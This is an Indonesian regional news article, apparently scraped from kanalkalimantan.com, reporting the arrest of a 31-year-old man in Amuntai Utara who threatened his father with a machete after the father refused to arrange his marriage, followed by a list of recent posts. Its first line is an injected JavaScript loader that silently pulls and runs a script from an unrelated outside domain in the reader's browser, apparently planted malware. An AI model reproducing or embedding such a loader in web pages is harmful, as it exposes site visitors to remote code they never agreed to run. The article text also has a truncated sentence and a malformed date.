(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Ngebet Minta Kawin, F Ancam Ayah Sendiri Pakai Parang


KANALKALIMANTAN.COM, AMUNTAI – Seorang pemuda bujangan, F (31) warga Desa Cakru, Kecamatan Amuntai Utara, Kabupaten Hulu Sungai Utara (HSU) harus menginap di bui. Lantaran mengancam orangtuanya dengan senjata tajam jenis parang.

Belakangan pemuda tersebut ditangkap karena mengancam orangtuanya yang tak menggubris permintaan dirinya untuk dikawinkan.

Atas tindakan pemuda pengangguran itu, akhirnya berujung kepada penangkapan, setelah oleh orangtua sendiri dilaporkan ke

“Aksi pelaku sudah sering dilakukannya, sehingga kejadian tersebut dilaporkan ke Polsek Amuntai Utara untuk proses lebih lanjut,” ujar Kapolsek Amuntai Utara Ipda Budi Aji, Senin (15/2/2021).

Dari informasi yang diperoleh Kanalkalimantan di kepolisian, kejadian bermula ketika pelaku F mengancaman ayahnya dengan menggunakan senjata tajam jenis parang pada Sabtu (13/2/202) sekitar 17.00 Wita.

F saat itu meminta untuk dinikahkan akan tetapi tidak digubris oleh sang ayah.
Tak terima hal tersebut, F akhirnya nekat mengambil dua buah senjata tajam sambil menebaskannya ke pagar rumah, serta tiang rumah. F juga mengancam bakal merobohkan rumah orangtuanya dengan parang.

“Jika permintaannya tersebut tak dituruti pelaku nekad akan menebasnya,” kata Kapolsek Amuntai Utara.

Namun ketika mendengar sang ayahnya menelpon polisi, akhirnya pelaku membuang kedua senjata tajam tersebut ke arah kolam air.

Mendapat laporan dari warga, polisi bergerak cepat dengan mengamankan pelaku beserta barang bukti di Desa Cakru RT 03 RW 02 Kecamatan Amuntai Utara, selanjutnya dibawa ke Mapolsek Amuntai Utara.

Atas kejadian tersebut, pelaku bersama barang bukti dapat terjerat tindak pidana pengancaman dan atau membawa, memiliki atau menyimpan senjata tajam tanpa memiliki surat ijin yang sah sebagaimana dimaksud pasal 335 KUHPidana dan/atau pasal 2 Ayat (1) Undang Undang Darurat nomor 12 tahun 1951. (kanalkalimantan.com/dew)

 

 

Reporter : Dew
Editor : Bie

 

 


Al Ghifari

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

5 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

5 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

7 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

10 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

14 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

14 jam ago

This website uses cookies.